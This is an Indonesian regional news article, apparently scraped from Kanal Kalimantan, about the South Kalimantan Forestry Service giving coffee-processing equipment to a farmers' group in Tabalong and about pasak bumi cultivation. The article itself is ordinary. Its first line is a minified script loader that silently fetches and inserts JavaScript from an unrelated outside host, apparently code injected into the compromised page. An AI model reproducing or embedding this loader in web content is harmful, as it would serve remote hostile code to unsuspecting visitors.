(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Dishut Kalsel Beri Bantuan Sarpras Pengolahan Kopi pada Kelompok Tani Hutan


BANJARBARU, Kelompok Tani Hutan (KTH) adalah kumpulan petani atau perorangan warga negara Indonesia beserta keluarganya yang mengelola usaha di bidang kehutanan. Baik di dalam kawasan hutan maupun di luar hutan yang meliputi usaha hasil hutan kayu, hasil hutan bukan kayu, dan jasa lingkungan. Baik di tingkatan hulu maupun hilir.

Dinas Kehutanan Provinsi Kalimantan Selatan melalui KPH Tabalong memberikan bantuan sarana dan prasarana (sarpras) pengolahan kopi yang bersumber dari anggaran BPHP Wilayah IX Banjarbaru. Bantuan tersebut diserahkan melalui Kepala RPH Uya kepada KTH Rakat Sepakat di Desa Teratau Kecamatan Jaro Kabupaten Tabalong dengan titik koordinat KTH Rakat Sepakat UTM, X. 349977. Y. 9791809

Ka KPH Tabalong Heriyadi berharap, bantuan tersebut semoga dapat digunakan sebaik-baiknya untuk lebih menunjang kinerja KTH Rakat Sepakat di Desa Teratau agar menjadi lebih baik dan sejahtera. “Ini sebagai upaya sekaligus dukungan agar KTH lebih maksimal dan aktif dalam pengelolaan usaha bidang kehutanan,” katanya.

Sebelumnya, Unit Pelaksana Teknis (UPT) KPH Tabalong, juga melaksanakan program pengembangan budi daya tanaman pasak bumi. Program itu, kata Heriyadi, merupakan bantuan dari Kementerian Kehutanan dan Lingkungan Hidup melalui dana APBN 2017.

“Pengembangan budi daya pasak bumi kami laksanakan di Desa Mangkupum, Kecamatan Muara Uya seluas lima hektare,” ujarnya.

Untuk mendukung pengembangan budi daya tanaman hasil hutan non-kayu ini Kabupaten Tabalong mendapat bantuan dana dari Kementerian Kehutanan dan Lingkungan Hidup untuk pengadaan bibitnya.

Heriyadi mengakui saat ini tanaman pasak bumi mulai langka karena kurang pengembangan dan budi daya oleh masyarakat sekitar kawasan hutan. Program pengembangan budi daya pasak bumi merupakan bagian dari agroforestry di Kabupaten Tabalong dengan target sekitar 25 hektare.(cel)

Reporter: Cel
Editor: Chell

Desy Arfianty

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

6 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

8 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

8 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

8 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

8 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

9 jam ago

This website uses cookies.